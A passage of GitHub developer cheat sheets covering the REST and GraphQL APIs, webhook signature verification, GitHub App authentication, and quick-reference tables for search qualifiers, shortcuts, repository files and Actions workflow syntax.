curl "${H[@]}" $API/rate_limit
curl "${H[@]}" -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' \
  $API/repos/octo-org/shop -i      # 304 = unchanged, free
```

CODE EXPLAINED

- → `Accept` + version header — stable responses
- → `per_page` / `page` — pagination; prefer the `Link` header
- → `-d` JSON — body for POST / PATCH / PUT
- → `If-None-Match` — 304s don't count toward limits

COMMON ENDPOINTS

ENDPOINT	DOES
`GET /user`	who am I
`GET /repos/{o}/{r}/pulls`	list PRs
`POST /repos/{o}/{r}/issues/{n}/comments`	comment
`GET /repos/{o}/{r}/contents/{path}`	read a file
`GET /search/issues?q=…`	search (30 req/min)

STATUS CODES

CODE	MEANS
`200 / 201 / 204`	OK / created / no content
`304`	not modified (ETag)
`401 / 403`	bad token / missing permission or rate limited
`404`	not found **or** no access
`422`	validation failed

⚠ COMMON MISTAKES

- Reading 404 as "doesn't exist": private resources return 404 when you lack access
- Looping pages without honoring `Link` or `retry-after`
- Hitting the API in a tight loop: secondary rate limits kick in

✓ TIPS & BEST PRACTICES

- Use Octokit (`@octokit/rest`, PyGithub, go-github) instead of raw curl in code
- In Actions, `actions/github-script` gives an authenticated Octokit
- Docs list the fine-grained permission each endpoint needs

QUICK SUMMARY

- `api.github.com` + Bearer token
- version header — stable contract
- pagination — `per_page`, `Link`
- rate limits — headers, ETags, backoff

GraphQL API

THE GRAPHQL API

The GraphQL API has one endpoint, POST `https://api.github.com/graphql`, where you ask for exactly the fields you need, across related objects, in one request. It's the only API for some features, notably **Projects**. Every object has a global **node ID**; lists use **cursor pagination** (`first`, `after`, `pageInfo`). Limits are counted in **points** per hour, not requests.

GRAPHQL FACTS

- 5,000 points / hour for users; query cost shown via `rateLimit`
- `first` / `last` max 100 per connection
- Try queries in the Explorer on docs.github.com

WHO CAN DO THIS

- **Role:** token with the needed permissions
- **Plan:** Free
- **Repos:** public and private

QUERY, PAGINATE, MUTATE

```graphql
# Open PRs with review state and checks — one request
query($owner: String!, $repo: String!, $cursor: String) {
  repository(owner: $owner, name: $repo) {
    pullRequests(states: OPEN, first: 50, after: $cursor) {
      pageInfo { hasNextPage endCursor }
      nodes {
        number title reviewDecision
        author { login }
        commits(last: 1) { nodes { commit { statusCheckRollup { state } } } }
      }
    }
  }
  rateLimit { cost remaining resetAt }
}

# Mutation: comment on an issue or PR by node ID
mutation { addComment(input: { subjectId: "I_kwDOAB12", body: "Thanks!" }) {
  commentEdge { node { url } } } }
```

CODE EXPLAINED

- → `$cursor` + `pageInfo.endCursor` — next page
- → `reviewDecision` / `statusCheckRollup` — data REST spreads over calls
- → `rateLimit { cost }` — what this query cost
- → node IDs (`I_kw…`) — used by mutations

GRAPHQL OR REST?

NEED	USE
Projects (v2)	GraphQL only
Nested data in one call	GraphQL
Simple CRUD, webhooks style	REST
File contents / downloads	REST

CALLING IT

TOOL	EXAMPLE
curl	`-d '{"query":"…","variables":{…}}'`
github-script	`await github.graphql(query, vars)`
Octokit	`octokit.graphql(...)`
gh (one-liner)	`gh api graphql -f query=…`

⚠ COMMON MISTAKES

- Asking for `first: 100` at several nesting levels: cost multiplies fast
- Using REST numeric IDs in mutations: GraphQL wants node IDs
- Ignoring `errors` in a 200 response: GraphQL reports failures in the body

✓ TIPS & BEST PRACTICES

- Get a node ID from REST: every object has a `node_id` field
- Use variables, not string concatenation, for inputs
- Ask only for fields you use; it's faster and cheaper

QUICK SUMMARY

- one endpoint — `POST /graphql`
- select exactly the fields you need
- cursor pagination — `first` / `after`
- points-based limits — check `rateLimit`

Webhooks

repo / org webhooks · events · payload URL · secret + X-Hub-Signature-256 · delivery log · redeliver · ping

GETTING PUSHED EVENTS

A **webhook** sends an HTTP POST to your URL whenever chosen events happen on a repo, org or app: pushes, PRs, issues, releases and dozens more. Each delivery carries a JSON **payload** and headers naming the event and a delivery ID. Set a **secret** and verify the X-Hub-Signature-256 HMAC on every request. Failed deliveries can be inspected and **redelivered**.

WEBHOOK FACTS

- Respond with 2xx within 10 seconds; queue slow work
- Payloads are capped at 25 MB
- A `ping` event is sent when the hook is created

WHO CAN DO THIS

- **Role:** Admin (repo hooks) · Org owner (org hooks)
- **Plan:** Free
- **Repos:** public and private

VERIFY THE SIGNATURE (NODE.JS)

```
import crypto from "node:crypto";
import express from "express";

const app = express();
app.post("/github", express.raw({ type: "application/json" }), (req, res) => {
  const sig = req.get("X-Hub-Signature-256") ?? "";
  const mac = "sha256=" + crypto
    .createHmac("sha256", process.env.WEBHOOK_SECRET)
    .update(req.body)                       // raw bytes, not parsed JSON
    .digest("hex");
  const ok = sig.length === mac.length &&
    crypto.timingSafeEqual(Buffer.from(sig), Buffer.from(mac));
  if (!ok) return res.status(401).end();

  const event = req.get("X-GitHub-Event");  // e.g. "pull_request"
  const body = JSON.parse(req.body);
  res.status(202).end();                    // answer fast…
  queue.add({ event, action: body.action, body });   // …work later
});
```

CODE EXPLAINED

→ `express.raw` — HMAC must use the raw body

→ `timingSafeEqual` — avoid timing attacks

→ `X-GitHub-Event` + `action` — what happened

→ 202 then queue — stay under the 10 s limit

DELIVERY HEADERS

HEADER	HOLDS
X-GitHub-Event	event name
X-GitHub-Delivery	unique delivery GUID
X-Hub-Signature-256	HMAC SHA-256 of body
X-GitHub-Hook-ID	which webhook

DEBUGGING DELIVERIES

WHERE	SHOWS
Settings → Webhooks → Recent Deliveries	request + response
Redeliver	resend a past delivery
smee.io / tunnels	receive locally during dev
Hook auto-disabled	after repeated failures

⚠ COMMON MISTAKES

- Verifying the signature against re-serialized JSON: it never matches
- Doing slow work before responding: timeouts and duplicate retries
- Not handling duplicates: use `X-GitHub-Delivery` as an idempotency key

✓ TIPS & BEST PRACTICES

- Subscribe only to events you handle
- Prefer a GitHub App's single webhook over many repo webhooks
- Use Actions instead when the reaction can run inside GitHub

QUICK SUMMARY

- webhook — POST on chosen events
- secret + `X-Hub-Signature-256` — verify
- answer fast, process async
- Recent Deliveries — inspect and redeliver

GitHub Apps

BUILDING INTEGRATIONS THE RIGHT WAY

A **GitHub App** is an integration with its own identity, fine-grained **permissions**, **event subscriptions** and one webhook. It's **installed** on an account and chosen repos. To act, the app signs a short **JWT** with its private key, exchanges it for an **installation access token** (valid one hour) and calls the API as itself (`my-app[bot]`). Apps don't use a seat and survive people leaving.

APP FACTS

- Permissions are requested up front; installers approve them
- Installation tokens expire after 1 hour
- Apps can be private or listed in the Marketplace

WHO CAN DO THIS

- **Role:** account owner or Org owner (create, install)
- **Plan:** Free
- **Repos:** public and private

JWT → INSTALLATION TOKEN

```
import { App } from "octokit";
const app = new App({
  appId: process.env.APP_ID,
  privateKey: process.env.APP_PRIVATE_KEY,     // PEM from app settings
  webhooks: { secret: process.env.WEBHOOK_SECRET },
});
// Act on one installation (JWT + token exchange handled for you)
const octokit = await app.getInstallationOctokit(INSTALLATION_ID);
await octokit.rest.issues.createComment({
  owner: "octo-org", repo: "shop", issue_number: 42,
  body: "Hi from my-app[bot]",
});
// React to events
app.webhooks.on("pull_request.opened", async ({ octokit, payload }) => {
  await octokit.rest.issues.addLabels({
    owner: payload.repository.owner.login,
    repo: payload.repository.name,
    issue_number: payload.number, labels: ["triage"] });
});
```

CODE EXPLAINED

- → `App` — wraps JWT signing + token caching
- → `getInstallationOctokit` — client as the installation
- → `webhooks.on` — handler gets an authenticated client
- → private key — keep in a secret store, rotate if leaked

RAW AUTH FLOW

STEP	DETAIL
1. JWT	RS256, `iss` = client ID, exp ≤ 10 min
2. Find installation	`GET /repos/{o}/{r}/installation`
3. Token	`POST /app/installations/{id}/access_tokens`
4. Call API	`Authorization: Bearer <token>`

APP VS PAT VS OAUTH APP

NEED	USE
Bot that acts on repos	GitHub App
Act as a signed-in user	GitHub App user token / OAuth app
Personal scripts	fine-grained PAT
Workflow in Actions	`create-github-app-token`

⚠ COMMON MISTAKES

- Requesting every permission "just in case": installers refuse, risk grows
- Caching installation tokens past one hour
- Committing the app's private key to a repo

✓ TIPS & BEST PRACTICES

- Create apps with a manifest for repeatable setup
- Use Probot or Octokit's `App` to skip auth plumbing
- Ask only for events you handle; it cuts webhook traffic

QUICK SUMMARY

- GitHub App — own identity + permissions
- JWT → installation token (1 hour)
- one webhook, chosen events
- best choice for bots and integrations

Sheet 90

Quick Reference — Search, Shortcuts & Markdown

code search qualifiers · issue / PR qualifiers · keyboard shortcuts · GFM extras · autolink syntax

CODE SEARCH

KEY / SYNTAX	DOES	#
`repo:o/r · org:o · user:u`	scope	05
`path:src/**/*.ts`	path glob	05
`language:go · content:x`	language · contents only	05
`"exact text" · /re+gex/`	phrase · regex	05
`AND · OR · NOT · ( )`	boolean logic	05
`symbol:parse_invoice`	definitions	05

ISSUE & PR SEARCH

KEY / SYNTAX	DOES	#
`is:issue · is:pr · is:open`	kind · state	23
`label:bug · no:label · -label:x`	labels	23
`assignee:@me · author:@me`	people	23
`review-requested:@me`	your review queue	23
`type:Bug · parent-issue:o/r#10`	types · sub-issues	21
`created:>2026-09-01 · updated:<…`	dates	23

SHORTCUTS — ANYWHERE

KEY / SYNTAX	DOES	#
`Ctrl/⌘ K`	command palette	04
`/ or s`	focus search	04
`g n · g d`	notifications · dashboard	04
`?`	shortcuts for this page	04
`. · >`	github.dev here · new tab	81

SHORTCUTS — REPO, ISSUES, PRS

KEY / SYNTAX	DOES	#
`t · l · b`	file finder · go to line · blame	04
`y`	permalink to commit	04
`g i · g p · g a`	issues · PRs · Actions	04
`c · e (inbox)`	new issue · mark done	04
`Ctrl/⌘ Shift P`	toggle preview while writing	08

GFM EXTRAS

KEY / SYNTAX	DOES	#
`> [!NOTE] / [!WARNING]`	alerts	08
`- [ ] task`	task list	08
`suggestion`	committable PR change	25
`mermaid · $math$`	diagrams · math	08
`<details><summary>`	collapsible	08

REFERENCES & LINKS

KEY / SYNTAX	DOES	#
`#42 · o/r#42 · GH-42`	issue / PR links	22
`@user · @org/team`	mentions	08
`a1b2c3d · o/r@a1b2c3d`	commit links	08
`Fixes #42`	close on merge	22
`JIRA-123`	autolink (configured)	22

PROJECT FILTERS

KEY / SYNTAX	DOES	#
`assignee:@me · no:assignee`	people	33
`status:"In progress"`	field value	33
`iteration:@current / @next`	sprints	35
`updated:>@today-7d`	recent	33
`is:open · -is:closed`	state	33

NOTIFICATION FILTERS

KEY / SYNTAX	DOES	#
`reason:mention · reason:team-mention`	mentions	04
`reason:review-requested`	reviews	04
`reason:assign`	assigned	04
`is:unread · is:saved · is:done`	state	04
`repo:o/r`	one repo	04

⚠ COMMON MISTAKES

- Searching non-default branches in code search
- Branch URLs instead of permalinks (`y`)
- `Fixes` on PRs to non-default branches

✓ TIPS & BEST PRACTICES

- Press `?` to learn a page's keys
- Bookmark search URLs (`?q=`)
- `-` negates any qualifier

QUICK SUMMARY

- qualifiers narrow every search
- palette + shortcuts = speed
- the # column points to the full sheet

Sheet 91

Quick Reference — Repo, Issues & PRs

.github/ file map · closing keywords · repo roles · ruleset rules · merge methods · review states

.GITHUB/ FILE MAP

KEY / SYNTAX	DOES	#
workflows/*.yml	GitHub Actions workflows	40
ISSUE_TEMPLATE/*.yml · config.yml	issue forms · chooser	20
pull_request_template.md	PR body	29
CODEOWNERS	auto reviewers by path	16
dependabot.yml	dependency update PRs	74
release.yml	generated release notes	10
FUNDING.yml	Sponsor button	37
copilot-instructions.md · instructions/	Copilot context	83
DISCUSSION_TEMPLATE/	discussion forms	36
SECURITY.md · CONTRIBUTING.md	health files	07

REPO ROLES

KEY / SYNTAX	DOES	#
Read	view, clone, comment	14
Triage	label, assign, close	14
Write	push, merge	14
Maintain	repo settings (not destructive)	14
Admin	everything	14

RULESET RULES

KEY / SYNTAX	DOES	#
Restrict deletions	keep branch	09
Block force pushes	keep history	09
Require a pull request	approvals, owner review	26
Require status checks	CI must pass	31
Require merge queue	test on latest base	28

MERGE METHODS

KEY / SYNTAX	DOES	#
Merge commit	all commits + merge	27
Squash	one commit per PR	27
Rebase	replay, no merge commit	27
Auto-merge	merge when green	27

REVIEW & CLOSE STATES

KEY / SYNTAX	DOES	#
Comment / Approve / Request changes	review outcomes	25
Completed / Not planned / Duplicate	issue close reasons	18
Draft / Open / Merged / Closed	PR states	24
close · fix · resolve (+s, +d)	closing keywords	22

SECURITY FEATURES

KEY / SYNTAX	DOES	#
Dependabot alerts	vulnerable deps	73
Dependabot updates	fix + version PRs	74
Code scanning (CodeQL)	code vulnerabilities	75
Secret scanning + push protection	leaked credentials	76
Security advisories	disclose your own	77

CREDENTIALS

KEY / SYNTAX	DOES	#
Fine-grained PAT	your scripts	17
GitHub App token	bots, cross-repo	89
GITHUB_TOKEN	inside Actions	62
OIDC	cloud deploys	63
SSH key · deploy key	Git access	03

⚠ COMMON MISTAKES

- Admin when Triage would do
- Required checks that never run
- Templates on non-default branches

✓ TIPS & BEST PRACTICES

- Put config in `.github/`
- Protect `main` with a ruleset first
- Squash + good PR titles = clean history

QUICK SUMMARY

- `.github/` — repo behavior as files
- roles → rules → reviews → merge
- the # column points to the full sheet

Sheet 92

Quick Reference — Actions Workflow Syntax

top-level keys · triggers · job keys · step keys · strategy · permissions

TOP-LEVEL KEYS

KEY / SYNTAX	DOES	#
`name / run-name`	UI name · per-run title	40
`on`	events that trigger	43
`permissions`	GITHUB_TOKEN scopes	62
`env / defaults`	global env · default shell/dir	50
`concurrency`	one run per group	58
`jobs`	map of job ids	46

TRIGGERS

KEY / SYNTAX	DOES	#
`push / pull_request`	commits · PR activity	43
`branches / tags / paths`	glob filters (+ -ignore)	43
`workflow_dispatch`	manual, up to 25 inputs	44
`schedule: - cron / timezone`	timed runs	44
`workflow_run / workflow_call`	chain · reusable	45/66
`release / issues / merge_group`	repo activity	45

JOB KEYS

KEY / SYNTAX	DOES	#
`runs-on`	runner label / group	47
`needs / if`	dependencies · condition	46
`outputs`	values for later jobs	46
`environment`	gate + env secrets	64
`container / services`	job image · sidecars	49
`strategy.matrix`	job per combination	57
`timeout-minutes / continue-on-error`	limits · tolerate failure	46
`uses / with / secrets`	call a reusable workflow	66

STEP KEYS

KEY / SYNTAX	DOES	#
`id / name`	reference · label	50
`run / shell`	command · interpreter	50
`uses / with`	action · inputs	51
`env / working-directory`	step env · folder	50
`if`	condition (status functions)	55
`continue-on-error / timeout-minutes`	tolerate · limit	50
`background / wait / cancel`	async steps	52
`parallel`	group + implicit wait	52

STRATEGY & CONCURRENCY

KEY / SYNTAX	DOES	#
`matrix.include / exclude`	add · remove combos	57
`fail-fast / max-parallel`	cancel siblings · cap	57
`concurrency.group`	string key	58
`cancel-in-progress`	cancel the running one	58

PERMISSION SCOPES

KEY / SYNTAX	DOES	#
`contents`	code, tags, releases	62
`pull-requests / issues`	comment, label	62
`packages / pages`	GHCR · Pages	65
`id-token`	OIDC	63

RUNNER LABELS

KEY / SYNTAX	DOES	#
`ubuntu-latest / ubuntu-24.04`	Linux x64 (1× minutes)	47
`ubuntu-24.04-arm`	Linux ARM64	47
`windows-latest`	Windows x64 (2×)	47
`macos-latest`	macOS ARM64 (10×)	47
`[self-hosted, linux, x64]`	your machines	48
`{ group: name, labels: [...] }`	runner group	48

EVERYDAY ACTIONS

KEY / SYNTAX	DOES	#
`actions/checkout`	clone the repo	41
`actions/setup-node / -python / -java`	toolchains + cache	41
`actions/cache`	dependency cache	59
`actions/upload- / download-artifact`	pass files	60
`actions/upload-pages-artifact + deploy-pages`	GitHub Pages	65
`docker/login-action + build-push-action`	container images	65

⚠ COMMON MISTAKES

- Indentation drift moves keys under the wrong parent
- `on:` filters that never match your branch
- `runs-on` labels that no runner has

✓ TIPS & BEST PRACTICES

- Run `actionlint` before pushing
- Declare `permissions:` in every workflow
- Set `timeout-minutes` on every job

QUICK SUMMARY

- events → jobs → steps
- jobs parallel · steps sequential
- the # column points to the full sheet

Sheet 93

Quick Reference — Actions Expressions & Recipes

operators · functions · status checks · contexts · GITHUB_* · file commands

FUNCTIONS & STATUS

KEY / SYNTAX	DOES	#
`contains / startsWith / endsWith`	string/array tests	55
`format / join`	build strings	55
`toJSON / fromJSON`	serialize · parse	55
`hashFiles('glob')`	cache keys	59
`success() / failure()`	previous result	55
`always() / !cancelled()`	run after failures	55
`a && 'x' || 'y'`	inline ternary	53

CONTEXTS

KEY / SYNTAX	DOES	#
`github.ref_name / sha`	branch · commit	54
`github.event.*`	webhook payload	54
`inputs / vars / secrets`	inputs · config · secrets	44/61
`steps.<id>.outputs`	step values	56
`needs.<job>.outputs / result`	job values	46
`matrix.* / runner.os`	combo · OS	57/47
`job.workflow_ref`	reusable wf identity	66

FILE COMMANDS & ENV

KEY / SYNTAX	DOES	#
`echo "K=v" >> $GITHUB_ENV`	env for later steps	56
`echo "k=v" >> $GITHUB_OUTPUT`	step output	56
`echo dir >> $GITHUB_PATH`	add to PATH	56
`>> $GITHUB_STEP_SUMMARY`	Markdown report	69
`::add-mask::value`	hide in logs	61
`::group:: / ::error::`	log structure · annotations	69

WHICH DO I USE?

KEY / SYNTAX	DOES	#
`cache vs artifact`	inputs/speed vs results/handoff	60
`composite vs reusable wf`	steps in caller vs whole jobs	66
`secret vs variable`	sensitive vs plain config	61
`parallel steps vs jobs`	shared runner vs more machines	52
`pull_request vs _target`	untrusted code vs base context	43
`PAT vs App token vs OIDC`	avoid · cross-repo · clouds	63

OPERATORS & LITERALS

KEY / SYNTAX	DOES	#
`== != < <= > >=`	compare (strings ignore case)	53
`&& || !`	and · or · not	53
`'single quotes'`	string literal; '' escapes	53
`true false null 42 0xff`	other literals	53
`github.event.commits.*.id`	object filter → array	53

DEFAULT ENV VARS

KEY / SYNTAX	DOES	#
`GITHUB_SHA / GITHUB_REF_NAME`	commit · branch/tag	56
`GITHUB_REPOSITORY / GITHUB_ACTOR`	owner/repo · user	56
`GITHUB_WORKSPACE / RUNNER_TEMP`	checkout · temp dir	56
`GITHUB_RUN_ID / GITHUB_RUN_NUMBER`	unique id · counter	56
`CI`	always true	56

SNIPPETS

KEY / SYNTAX	DOES	#
`if: github.ref == 'refs/heads/main'`	main only	53
`if: startsWith(github.ref, 'refs/tags/v')`	tag builds	55
`group: ${{ github.workflow }}-${{ github.ref }}`	cancel stale runs	58
`env: { T: ${{ github.event.issue.title }} }`	safe untrusted input	63

⚠ COMMON MISTAKES

- `${{ }}` with untrusted input inside `run:`
- `always()` where `!cancelled()` was meant
- Reading `$GITHUB_ENV` values in the same step

✓ TIPS & BEST PRACTICES

- Debug with `toJSON(...)` via `env:`
- Default-branch file wins for schedules and `workflow_run`
- Quote file paths: `>> "$GITHUB_OUTPUT"`

QUICK SUMMARY

- expressions run before the step
- file commands pass data forward
- contexts vary by key; see Sheet 54